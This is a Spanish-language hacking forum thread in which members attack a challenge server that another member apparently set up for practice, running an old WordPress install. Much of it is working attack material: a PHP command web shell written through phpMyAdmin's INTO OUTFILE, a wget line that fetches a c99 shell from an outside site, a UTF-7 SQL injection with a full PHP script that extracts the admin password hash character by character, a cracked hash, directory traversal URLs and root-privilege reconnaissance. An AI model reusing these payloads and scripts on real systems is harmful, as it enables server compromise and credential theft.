root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/s...
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/...
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
fetchmail:x:101:65534::/var/lib/fetchmail:/bin/fal...
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:103:106::/home/syslog:/bin/false
klog:x:104:107::/home/klog:/bin/false
bind:x:105:109::/var/cache/bind:/bin/false
smmta:x:106:110:Mail Transfer Agent,,,:/var/lib/se...
smmsp:x:107:111:Mail Submission Program,,,:/var/li...
landscape:x:108:112::/var/lib/landscape:/bin/false
mysql:x:109:113:MySQL Server,,,:/nonexistent:/bin/.
Saludos
Usando el interprete sql de phpmyadmin
select load_file("/etc/passwd") from dual
Yo llevo rato leyendo files para ver si descubro algun path... he estado mirando por los *.conf de apache pero no encuentro nada pa pillar el path de la web.....
Perdon xD
Bueno, tenemos acceso a PHPMyAdmin como root, tenemos todos los privilegios, esto lo podemos ver usando la pestaña Users de PHPMyAdmin.
root 127.0.0.1 No ALL PRIVILEGES Yes
Sabiendo esto, sabemos que tenemos acceso a funciones como LOAD DATA o DUMPFILE.
Por tanto, podemos crear una tabla, y usar LOAD DATA para ver el contenido de ficheros a los que tenemos acceso.
LOAD DATA INFILE '/etc/passwd' INTO TABLE BaseDeDatos.tabla;
PD: @xustyx has mirado el directorio de webmin ? Yo es que no lo encuentro por ninguna parte xD
PD2: He vuelto a poner la contraseña original del usuario admin de WP (aclaro que no fui yo el que la cambio). Para quitaros trabajo inútil:
a7c85c1a6114797d06425195899a8abe = 2bc11f
PD3: El directorio de webmin es /usr/share/webmin
Saludos
aun se puede pedir la ip ? jeje
Yo siempre pense que passwd no tenia permisos de lectura... pero parece ser que todo mundo puede ver passwd xD tiene permisos 644 por default en mi Debian.
Al parecer puedo correr código en PHP pero ni idea de que hacer, no puedo escribir a archivos y estoy limitado a lo que www-data puede hacer xD.
Por lo visto nadie le ha tomado encuenta al wordpress, solo he visto nmap y accesos via server y phpmyadmin pero nada del wordpress instalado.
Esa version de wordpress es un 2.0 Realse candidate y se puede saber mirando el código fuente de la pagina principal:
<meta name="generator" content="WordPress 2.0.1-rc1" /> <!-- leave this for stats -->
Al buscar la version en internet verás que hay muchos CVE-IDs con muchos agujeros, hay dos inyecciones sql, una subida arbitraria de archivos y muchos xss y xsrf, pero lo que mas importa son las inyecciones sql y la subida remota de archivos.
CVE-IDs:
http://www.cvedetails.com/version/80039/Wordpress-Wordpress-2.0.1.html
Yo me estoy enfocando en el CVE-ID: CVE-2009-2334 del cual encontré información directa y oficial acá:
http://www.openwall.com/lists/oss-security/2009/08/04/5
Fuí a la referencia de Wordpress y vi los diff de los archivos:
https://core.trac.wordpress.org/changeset/11769
Con esto me di cuenta que podias modificar links sin ser admin asi que reviso el código fuente de mi archivo objetivo: edit-link-form.php
https://core.trac.wordpress.org/browser/branches/2.8/wp-admin/edit-link-form.php?rev=11769
El problema es que no se despliega el contenido ni sirven las acciones en el archivo. Será que la versión es un fake? no quiero entrar al phpmyadmin para ver la version de wordpress o si no se pierde toda la gracia de hacer un hackeo de verdad.
Definitivamente no es wordpress 2.0 RC, las hojas de estilo son distintas a las del tracker y tampoco estan todos los archivos php que se supone debieran estar. Ahora el trabajo es averiguar la version exacta para poder buscar el factor de ataque.
Edito:
http://web.com/readme.html
Es 2.0 sin RC como aparece en la cabecera, lo mas probable es que era un fake o alguien hechó a correr el archivo /wp-admin/upgrade.php y lo actualizó a la version estable y se fueron la mayoría de los agujeros.
Dimitrix, deshabilitaste las actualizaciones?
El servidor está configurado para mostrar directorios sin indices, revisé el directorio de plugins para ver si habia alguno defectuoso y encontré esto:
http://vps84472.ovh.net/wp-content/plugins/
[DIR] akismet/ 2014-07-31 20:05 -
[ ] hello.php 2005-08-07 10:30 2.0K
[ ] wp-db-backup.php 2006-01-17 00:51 30K
wp-db-backup.php ?? por ahi debe estar dando vueltas una backup del sitio y lo mas probable es que esté con la db y el hash del admin y desde ahi comenzar a escalar hacia el servidor.
Edito: el plugin tiene directory traversal:
http://downloads.securityfocus.com/vulnerabilities/exploits/wordpress-wp-db-backup-dirtrav.html
Cita de: WHK en 1 Agosto 2014, 20:50 PM
Por lo visto nadie le ha tomado encuenta al wordpress, solo he visto nmap y accesos via server y phpmyadmin pero nada del wordpress instalado.
Esa version de wordpress es un 2.0 Realse candidate y se puede saber mirando el código fuente de la pagina principal:
<meta name="generator" content="WordPress 2.0.1-rc1" /> <!-- leave this for stats -->
Al buscar la version en internet verás que hay muchos CVE-IDs con muchos agujeros, hay dos inyecciones sql, una subida arbitraria de archivos y muchos xss y xsrf, pero lo que mas importa son las inyecciones sql y la subida remota de archivos.
CVE-IDs:
http://www.cvedetails.com/version/80039/Wordpress-Wordpress-2.0.1.html
Yo me estoy enfocando en el CVE-ID: CVE-2009-2334 del cual encontré información directa y oficial acá:
http://www.openwall.com/lists/oss-security/2009/08/04/5
Fuí a la referencia de Wordpress y vi los diff de los archivos:
https://core.trac.wordpress.org/changeset/11769
Con esto me di cuenta que podias modificar links sin ser admin asi que reviso el código fuente de mi archivo objetivo: edit-link-form.php
https://core.trac.wordpress.org/browser/branches/2.8/wp-admin/edit-link-form.php?rev=11769
El problema es que no se despliega el contenido ni sirven las acciones en el archivo. Será que la versión es un fake? no quiero entrar al phpmyadmin para ver la version de wordpress o si no se pierde toda la gracia de hacer un hackeo de verdad.
Ese no lo habia visto, no lo categorizan como 2.0.1 rc1, lo ponen como 2.0.1 pero me imagino que es lo mismo o sin verificar en la RC1 xD.
Yo ya probe este:
http://www.cvedetails.com/cve/CVE-2010-4257/
Y funciona perfectamente. Pero le voy a dar una ojeada a los que aparecen como 2.0.1 porque los que yo veia eran estos:
http://www.cvedetails.com/vulnerability-list/vendor_id-2337/product_id-4096/version_id-80039/Wordpress-Wordpress-2.0.1.html
Perdon , es 2.0.1 RC 1 . Me baje el source de la pagina oficial de wordpress y el readme dice 2.0 . Lee 3 paginas atras que estuvimos discutiendo sobre entrar por wordpress.
Cita de: ret2libc en 1 Agosto 2014, 21:12 PM
Perdon , es 2.0.1 RC 1 . Me baje el source de la pagina oficial de wordpress y el readme dice 2.0 . Lee 3 paginas atras que estuvimos discutiendo sobre entrar por wordpress.
Tienes razón.
Estaba probando con http://downloads.securityfocus.com/vulnerabilities/exploits/wordpress_utf7_sqlinj_poc.txt y parece funcionar bien, solo que me falta el id de usuario del admin porque no es 1 y tampoco indica el id del posteador en las paginas.
me@Machine:~/Escritorio$ python *.py -h http://web.com/ -p 1 -i -1
Wordpress 2.0.5 - Trackback UTF-7 SQL injection exploit
Copyright (C) 2006 Stefan Esser/Hardened-PHP Project
*** DO NOT DISTRIBUTE ***
[+] Connecting to check if mbstring is installed
[+] ext/mbstring is installed. continue with exploit
[+] Connecting to retrieve cookie hash
[+] Cookie hash found: 8d4624f99fb1f186b54020ddb0449012
[+] Connecting to lock trackbacks
[+] Connecting to determine mysql table prefix
[+] Table prefix is: wp_
[+] Connecting to check if user admin is present
[-] Error user_id invalid
Por lo menos ya se que el prefix es wp_ para efectos de inyección sql. Veré si puedo hacer la inyección manualmente via UTF-7.
El ID es 1, hay usuarios del 1 al 7. WHK, el tienes el PHPMyADMIN desprotegido para lanzar cualquier SQL xD, el wp-config.php
db_user = 'root';
db_password = '';
db_name = 'hackme2';
db_prefix = 'wp_';
Saludos
nopues, la idea es no entrar al phpmyadmin o si no te pierdes de la emoción xD cualquiera puede escribir phpmyadmin en la url, la idea es entrar hackeando el sitio :p
Hice una petición post manualmente:
Me@Machine:~/Escritorio$ nc -v web.com 80
POST /wp-trackback.php?p=1 HTTP/1.1
Connection: close
Host: web.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
charset=UTF-7&title=None&url=None&excerpt=None&blog_name=%2bACc-
el WP devuelve la consulta SQL inyectada:
Connection to wrb.com 80 port [tcp/http] succeeded!
HTTP/1.1 200 OK
Date: Fri, 01 Aug 2014 19:36:18 GMT
Server: Apache/2.4.6 (Ubuntu)
X-Powered-By: PHP/5.5.3-1ubuntu2.6
X-Pingback: http://web.com/xmlrpc.php
Status: 200 OK
Vary: Accept-Encoding
Content-Length: 1359
Connection: close
Content-Type: text/xml; charset=UTF-8
<div id='error'>
<p class='wpdberror'><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ILLEGAL' ) AND comment_content = '<strong>None...</strong>
None...' LIMIT 1' at line 1]<br />
<code>SELECT comment_ID FROM wp_comments WHERE comment_post_ID = '1' AND ( comment_author = ''ILLEGAL' ) AND comment_content = '<strong>None...</strong>
None...' LIMIT 1</code></p>
</div><div id='error'>
<p class='wpdberror'><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ILLEGAL', '', 'http://None', '190.162.188.73', '2014-08-01 19:36:18', '2014-08-0' at line 4]<br />
<code>INSERT INTO wp_comments
(comment_post_ID, comment_author, comment_author_email, comment_author_url, comment_author_IP, comment_date, comment_date_gmt, comment_content, comment_approved, comment_agent, comment_type, comment_parent, user_id)
VALUES
('1', ''ILLEGAL', '', 'http://None', '190.162.188.73', '2014-08-01 19:36:18', '2014-08-01 19:36:18', '<strong>None...</strong>
None...', '0', '', 'trackback', '0', '0')
</code></p>
</div><?xml version="1.0" encoding="utf-8"?>
<response>
<error>0</error>
Cita de: #!drvy en 1 Agosto 2014, 21:32 PM
El ID es 1, hay usuarios del 1 al 7. WHK, el tienes el PHPMyADMIN desprotegido para lanzar cualquier SQL xD, el wp-config.php
db_user = 'root';
db_password = '';
db_name = 'hackme2';
db_prefix = 'wp_';
Saludos
¿El wp_config.php lo puedes ver usando el infile? :O
Por cierto el exploit en python lo estoy probando y como quiera no regresa el hash xD
Cita de: MinusFour en 1 Agosto 2014, 21:42 PM
¿El wp_config.php lo puedes ver usando el infile? :O
Se..
<?php
// ** MySQL settings ** //
define('DB_NAME', 'hackme2'); // The name of th...
define('DB_USER', 'root'); // Your MySQL usern...
define('DB_PASSWORD', ''); // ...and password
define('DB_HOST', 'localhost'); // 99% chance y...
// You can have multiple installations in one data...
$table_prefix = 'wp_'; // Only numbers, letters...
// Change this to localize WordPress. A correspon...
// chosen language must be installed to wp-include...
// For example, install de.mo to wp-includes/langu...
// to enable German language support.
define ('WPLANG', '');
/* That's all, stop editing! Happy blogging. */
define('ABSPATH', dirname(__FILE__).'/');
require_once(ABSPATH.'wp-settings.php');
?>
Saludos
@MinusFour como conseguiste ejecutar PHP ?
Saludos
aca va la inyeccion sql que estoy probando:
charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users limit 1 -- -
Funciona para el select pero para el insert da error, hay que intentar provocar un error forzado como un cast a la columna para que arroje el hash del admin y desde ahi loguear y hacer el directory traversal y comenzar a elevar y ejecutar código. Recuerden que como admin pueden ejecutar código editando una plantilla a pesar de que esta no se guarde con la previsualización, aparte de la ejecución de código en varis archivos extras y desde ahi intentar ejecutar un system y desde ahi elevar privilegios escaneando archivos con permisos de root que puedan ser sobreescribibles (igual como lo hace la c99 shell).
Debo irme a mi casa, adios.
Cita de: #!drvy en 1 Agosto 2014, 21:52 PM
@MinusFour como conseguiste ejecutar PHP ?
Saludos
No lo he podido lograr todavía, por alguna razón no escapa las comillas xD.
Pero está esto:
http://blog.sjinks.pro/wordpress/858-information-disclosure-via-sql-injection-attack/
Por cierto WHK te dejaste la IP en tus logs.
Edit: Noup, por más que lo intento las comillas las escapan y las imprimen, así que me imagino que esa vulnerabilidad no puede ejecutar código php.
Carpeta con permisos de escritura, lista!
Cita de: WHK en 1 Agosto 2014, 22:01 PM
aca va la inyeccion sql que estoy probando:
charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users limit 1 -- -
Funciona para el select pero para el insert da error, hay que intentar provocar un error forzado como un cast a la columna para que arroje el hash del admin y desde ahi loguear y hacer el directory traversal y comenzar a elevar y ejecutar código. Recuerden que como admin pueden ejecutar código editando una plantilla a pesar de que esta no se guarde con la previsualización, aparte de la ejecución de código en varis archivos extras y desde ahi intentar ejecutar un system y desde ahi elevar privilegios escaneando archivos con permisos de root que puedan ser sobreescribibles (igual como lo hace la c99 shell).
Debo irme a mi casa, adios.
Que asco dais D: iros de aquí eso no vale ABUSONES!! :-(
:P
Cita de: dimitrix en 2 Agosto 2014, 00:08 AM
Carpeta con permisos de escritura, lista!
¿Entonces ahora podemos escribir en /var/www?
¿No quieres poner una carpeta de uploads con permisos de escritura o cambiar la carpeta de themes y dejarla como de escritura? :)
Citar¿Entonces ahora podemos escribir en /var/www?
¿No quieres poner una carpeta de uploads con permisos de escritura o cambiar la carpeta de themes y dejarla como de escritura
No. Sólo la carpeta uploads de WP...
Ya he copiado un un acceso a la shell
-> c.php?cmd=
SELECT '<?php if(isset($_REQUEST[\"cmd\"])){ $cmd = ($_REQUEST[\"cmd\"]);system($cmd);die;}?>'
INTO OUTFILE '/var/www/wp-content/uploads/c.php'
Como subiste la Shell? :-)
dimitrix , saca los permisos ... Danos un poco mas de tiempo. Ando en algo. Dejalo sin permisos.
Cita de: ret2libc en 2 Agosto 2014, 00:37 AM
dimitrix , saca los permisos ... Danos un poco mas de tiempo. Ando en algo. Dejalo sin permisos.
Tranquilo, sólo puse el WP como tenía que estar, nada más xD
De ahí a que escalen...
Pues a sido un poco lamer por que como esta el phpmyadmin abierto y puediendo meter sql a saco es facil.
Nada mas decir que has dado una carpeta con files he pensado en varias y ma dao por buscar la famosa uploads que no existia y de repente lista.
Despues desde phpmyadmin he metido la siguiente select:
SELECT '<?php if(isset($_REQUEST[\"cmd\"])){ $cmd = ($_REQUEST[\"cmd\"]);system($cmd);die;}?>'
INTO OUTFILE '/var/www/wp-content/uploads/c.php'
Lo que hace es crear un fichero php con el siguiente contenido:
<?php
if(isset($_REQUEST["cmd"])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
die;
}
?>
Y nada una cmd, que podria haber sido una c99 codeada o lo que quisiera... pero claro con phpmyadmin abierto y permisos de escritura.
Pero bueno antes de que pusieras permisos me tirao un rato intentando colar la libreria UDF pero no ha habido suerte... he creado las funciones base64 y copiado a tmp el lib*.so para despues intentar como pudiese apuntar que la carpeta de plugins de mysql fuera tmp pero nada :(
Vamos, no era necesario subir una shell para acceder al sistema y ejecutar código, solo con el wordpress como está lo puedes hacer, de hecho nunca fue necesario ponerle un phpmyadmin, bastaba con las mismas fallas del wordpress, al ponerle ses phpmyadmin mataste la emoción.
Cita de: WINTX en 2 Agosto 2014, 00:10 AM
Que asco dais D: iros de aquí eso no vale ABUSONES!! :-(
:P
jajajajaja esque a veces uno se aburre pos xD
Cita de: WHK en 2 Agosto 2014, 00:53 AM
Vamos, no era necesario subir una shell para acceder al sistema y ejecutar código, solo con el wordpress como está lo puedes hacer, de hecho nunca fue necesario ponerle un phpmyadmin, bastaba con las mismas fallas del wordpress, al ponerle ses phpmyadmin mataste la emoción.
Yaps por eso digo... pero si en teoria con las iSql de wordpress tambien se podria haber realizado. (O cualquier cosa que permitiese escribir).
PD: Alguien ha sufrido estress despues de utilizar un puto teclao peor que el de una blackberry?
Puff, todo por el SQL xD y yo buscando donde colarme en el wordpress LOL.
Borra los permisos y la shell. Se va la gracia sino. Igual , aprendi algo nuevo , lo cual era el objetivo de esto.
Estoy obteniendo el hash con la clave del primer usuario de la tabla de usuarios caracter por caracter:
POST /wp-trackback.php?p=1 HTTP/1.1
Connection: close
Host: web.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users where ID=1 and SUBTRING(user_pass, 1, 1)="a" limit 1 -- -
Luego cambio la letra "a" por "b", c d e f g h i, etc, hasta obtener el hash completo ya que cuando el select está bien muestra un mensaje que dice que el post está duplicado pero cuando hay un error el script continua y aparece un error de sql sobre el insert :D asi que con substring puedes ir devolviendo verdadero o falso cuando encuentres un carácter válido en el hash de la contraseña, luego a loguearse y luego a ejecutar el código arbitrario o usar la librería de backups vulnerable del wordpress para obtener datos sensibles.
PD: php usa magic quotes, por eso no funcionan las inyecciones con comillas, para evadir eso usamos concat() y char().
Como evades las magic quotes con concat() y char()???
Creo que es lo único que me haría falta para subir la shell lol..
El servidor tiene el puerto 80 hacia afuera abierto, puedo usar wget.
Monte una shell ahí con:
wget http://www.c99txt.net/s/c99.txt -P /var/www/wp-content/uploads -O c99.php
Así que pues ahí esta la shell en http://web/wp-content/uploads/c99.php. Utilize el script de c.php que habían puesto ahí... y yo se que hubiera sido más fácil si hubiera hecho el query pero así si encuentro como explotar la otra vulnerabilidad no hubiese necesidad de usar el SQL xD.
char(1,1,1,1) reemplazas los unos por el valor decimal del caracter.
Miren esto:
whk@whk-machine:~/Escritorio$ php poc.php
Obteniendo hash...
Buscando sobre el caracter 'a'...
Caracter encontrado!, faltan 31 caracteres mas.
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Buscando sobre el caracter 'd'...
xD el hash comienza con a7 y está sacando el resto de los carácteres :P
Acá dejo el script que hice:
<?php
echo "Obteniendo hash...\n";
$hash = '';
for($n = 1; $n <= 32; $n++){
foreach(array('a','b','c','d','e','f','0','1','2','3','4','5','6','7','8','9') as $caracter){
echo "Buscando sobre el caracter '".$caracter."'...\n";
$postdata = 'charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users where ID=1 and SUBSTRING(user_pass, '.$n.', 1)=CHAR('.ord($caracter).') limit 1 -- -';
$resultado = file_get_contents('http://vps84472.ovh.net/wp-trackback.php?p=1', false, stream_context_create(array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
)));
if(strpos($resultado, 'Duplicate comment') !== false){
/* Carácter encontrado */
$hash .= $caracter;
echo "Caracter encontrado!, faltan ".(32 - $n)." caracteres mas.\n";
break;
}else{
/* Carácter no válido */
}
}
}
echo "Hash: ".$hash."\n";
Con esto en unos 15 minutos mas tengo el hash y el acceso al panel de administración. Ahora debo salir y el fin de semana no se si estaré xD asi que nos vemos otro día.
Edito:
Buscando sobre el caracter '7'...
Caracter encontrado!, faltan 30 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Caracter encontrado!, faltan 29 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
xD
(http://i.elhacker.net/i?i=m7v3wRRs4RQk6HK_Nm9XgGVo)
Cita de: WHK en 2 Agosto 2014, 01:49 AM
char(1,1,1,1) reemplazas los unos por el valor decimal del caracter.
Miren esto:
whk@whk-machine:~/Escritorio$ php poc.php
Obteniendo hash...
Buscando sobre el caracter 'a'...
Caracter encontrado!, faltan 31 caracteres mas.
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Buscando sobre el caracter 'd'...
xD el hash comienza con a7 y está sacando el resto de los carácteres :P
Acá dejo el script que hice:
<?php
echo "Obteniendo hash...\n";
$hash = '';
for($n = 1; $n <= 32; $n++){
foreach(array('a','b','c','d','e','f','0','1','2','3','4','5','6','7','8','9') as $caracter){
echo "Buscando sobre el caracter '".$caracter."'...\n";
$postdata = 'charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users where ID=1 and SUBSTRING(user_pass, '.$n.', 1)=CHAR('.ord($caracter).') limit 1 -- -';
$resultado = file_get_contents('http://web/wp-trackback.php?p=1', false, stream_context_create(array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
)));
if(strpos($resultado, 'Duplicate comment') !== false){
/* Carácter encontrado */
$hash .= $caracter;
echo "Caracter encontrado!, faltan ".(32 - $n)." caracteres mas.\n";
break;
}else{
/* Carácter no válido */
}
}
}
echo "Hash: ".$hash."\n";
Con esto en unos 15 minutos mas tengo el hash y el acceso al panel de administración. Ahora debo salir y el fin de semana no se si estaré xD asi que nos vemos otro día.
Edito:
Buscando sobre el caracter '7'...
Caracter encontrado!, faltan 30 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Caracter encontrado!, faltan 29 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
xD
Por cierto esta versión de PHP es 5.5 no tiene magic quotes xD.
Edit: Hay un archivo de phpinfo ahí por si lo quieren revisar:
http://web/wp-content/uploads/phpinfo.php
Edit2: WHK dejaste la ip otra vez xD.
Pues cuando usaba comillas dobles para la consulta sql me arrojaba backslashses, talves era el escape de alguna funcion de wordpress. De todas maneras ya está solucionado, me faltan solo 15 carácteres, ya debo irme, adios.
Mi ip no importa, se las regalo xd, el día en que tenga que hacerlo en un sitio mas serio no lo voy a hacer desde mi ip o desde mi red :P
hash encontrado: a7c85c1a6114797d06425195899a8abe
Método rápido: reversar el md5:
http://www.hashkiller.co.uk/md5-decrypter.aspx
We found 1 hashes! [Timer: 134 m/s] Please find them below...
a7c85c1a6114797d06425195899a8abe MD5 : 2bc11f
El método lento sería averiguar la estructura de la cookie e inyectarme la cookie con el hash en el navegador y me autenticaría sea cual sea la contraseña (en el caso de que el pass fuera imposible de reversar).
Ahora si adios xd, pd: prueben el script del template y el del backup para ejecutar código.
http://web.com/?p=21
Saludos.
Cita de: WHK en 2 Agosto 2014, 02:07 AM
Pues cuando usaba comillas dobles para la consulta sql me arrojaba backslashses, talves era el escape de alguna funcion de wordpress. De todas maneras ya está solucionado, me faltan solo 15 carácteres, ya debo irme, adios.
Mi ip no importa, se las regalo xd, el día en que tenga que hacerlo en un sitio mas serio no lo voy a hacer desde mi ip o desde mi red :P
Si no es tu ip es la de dimitrix XDDDDDDDDDD
Edit: Alguien ya esta haciendo su conexión en reversa y de paso se borro mi shell eh XDDDDDDDDDDDDDDDDDDD
No seais tan cabrones, si esto solo es para aprender LOL
-rwsr-xr-x 1 root root 44176 May 16 2013 /bin/ping
-rwsr-xr-x 1 root root 94792 Jun 12 2013 /bin/mount
-rwsr-xr-x 1 root root 44688 May 16 2013 /bin/ping6
-rwsr-xr-x 1 root root 36936 Jul 26 2013 /bin/su
-rwsr-xr-x 1 root root 69120 Jun 12 2013 /bin/umount
-rwxr-sr-x 1 root shadow 35536 May 18 2013 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 121112 Mar 11 08:24 /usr/bin/sudo
-rwsr-xr-x 1 root root 32464 Jul 26 2013 /usr/bin/newgrp
-rwxr-sr-x 1 root ssh 129120 Apr 29 19:54 /usr/bin/ssh-agent
-rwsr-sr-x 1 root mail 89216 Jun 8 2012 /usr/bin/procmail
-rwsr-xr-x 1 root root 23104 May 16 2013 /usr/bin/traceroute6.iputils
-rwxr-sr-x 1 root shadow 23360 Jul 26 2013 /usr/bin/expiry
-rwsr-xr-x 1 root root 68152 Jul 26 2013 /usr/bin/gpasswd
-rwxr-sr-x 1 root tty 19024 Jun 12 2013 /usr/bin/wall
-rwxr-sr-x 1 root shadow 54968 Jul 26 2013 /usr/bin/chage
-rwsr-xr-x 1 root root 41336 Jul 26 2013 /usr/bin/chsh
-rwxr-sr-x 1 root mail 18672 Jun 8 2012 /usr/bin/lockfile
-rwxr-sr-x 1 root crontab 35984 Feb 9 2013 /usr/bin/crontab
-rwsr-xr-x 1 root root 47032 Jul 26 2013 /usr/bin/passwd
-rwsr-xr-x 1 root root 18928 May 16 2013 /usr/bin/arping
-rwxr-sr-x 1 root tty 14688 Jun 4 2013 /usr/bin/bsd-write
-rwsr-xr-x 1 root root 46424 Jul 26 2013 /usr/bin/chfn
-rwxr-sr-x 1 root utmp 380088 Aug 19 2013 /usr/bin/screen
-rwxr-sr-x 1 root mlocate 39520 Jun 20 2013 /usr/bin/mlocate
-rwxr-sr-x 1 root mail 14848 Jun 5 2013 /usr/bin/dotlockfile
-rwsr-xr-x 1 root root 10208 Sep 10 2013 /usr/sbin/sensible-mda
-rwsr-sr-x 1 libuuid libuuid 18904 Jun 12 2013 /usr/sbin/uuidd
-rwxr-sr-x 1 root smmsp 82816 Sep 10 2013 /usr/lib/sm.bin/mailstats
-rwxr-sr-x 1 root smmsp 851840 Sep 10 2013 /usr/lib/sm.bin/sendmail
-rwsr-xr-x 1 root root 249704 Apr 29 19:54 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10368 Oct 12 2013 /usr/lib/pt_chown
A escalar privilegios bitchess...!
Yo piro a sobar ya estoy rebentao encima no se por que cojones no me piya la reverse shell... tengo abierta hasta la puerta de mi casa XD
Y bueno con la shell que ya hay se puede intentar buscar un exploit local que los hay a patadas.
uname -a
Hasta mañana!!
PD: Mañana saco al kali a pasear.
Yo ya estoy conectado pero no será tan fácil como compilar un exploit y listo, porque en primera no hay gcc xDDD
Por cierto, hay alguien que tiene acceso al servidor que está poniendo cosas a las shells LOL y es pura joda pero bueno xD.
llamen a dimitrix, que instale gcc ·_·
xD
Saludos
Cita de: #!drvy en 2 Agosto 2014, 03:35 AM
llamen a dimitrix, que instale gcc ·_·
xD
Saludos
Yo ya he probado mi primer exploit, lo he compilado en mi maquina y lo he corrido pero... el exploit no es para debian/slackware xD.
Puntos actualizados.
Va ganando #!drvy con 7 puntos y le sigue WHK con 6 puntos.
Si alguien tiene una duda/queja sobre los puntos, puede poner una reclamación en el WP :xD
No modifiques nada dimitrix.
Hola, llegué xD y me voy a acostar jajaja.
A traves del plugin de backup utilizo el bug de directory traversal que expliqué anteriormente:
http://web.com/wp-admin/edit.php?page=wp-db-backup.php&backup=../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
fetchmail:x:101:65534::/var/lib/fetchmail:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:103:106::/home/syslog:/bin/false
klog:x:104:107::/home/klog:/bin/false
bind:x:105:109::/var/cache/bind:/bin/false
smmta:x:106:110:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:107:111:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
landscape:x:108:112::/var/lib/landscape:/bin/false
mysql:x:109:113:MySQL Server,,,:/nonexistent:/bin/false
También puedes descargar la db completa con el mismo plugin y ver privilegios extras.
http://web.com/wp-admin/edit.php?page=wp-db-backup.php&backup=../../wp-config.php
<?php
// ** MySQL settings ** //
define('DB_NAME', 'hackme2'); // The name of the database
define('DB_USER', 'root'); // Your MySQL username
define('DB_PASSWORD', ''); // ...and password
define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value
// You can have multiple installations in one database if you give each a unique prefix
$table_prefix = 'wp_'; // Only numbers, letters, and underscores please!
// Change this to localize WordPress. A corresponding MO file for the
// chosen language must be installed to wp-includes/languages.
// For example, install de.mo to wp-includes/languages and set WPLANG to 'de'
// to enable German language support.
define ('WPLANG', '');
/* That's all, stop editing! Happy blogging. */
define('ABSPATH', dirname(__FILE__).'/');
require_once(ABSPATH.'wp-settings.php');
?>
Mañana veremos si podemos hacer una conexión directa al mysql server o si las credenciales sirven para algo mas que solo el sql.
No creo que nadie lo haya mencionado pero esta usando la versión 13.10 de Ubuntu:
os_type=debian-linux
os_version=8.0
real_os_type=Ubuntu Linux
real_os_version=13.10
Bueno, he intentado unos cuantos 'exploits' para escalar privilegios pero nada xD
Así que voy a poner como conseguir un reverse shell para los que estan perdidos...
Tenemos acceso a phpmyadmin y tenemos todos los privilegios. Podemos usar dumpfile para crear archivos y nuestro amable administrador, nos ha dado permisos de escritura en la carpeta uploads de wordpress.
Nos vamos phpmyadmin, y ejecutamos una query (pestaña SQL) simple.
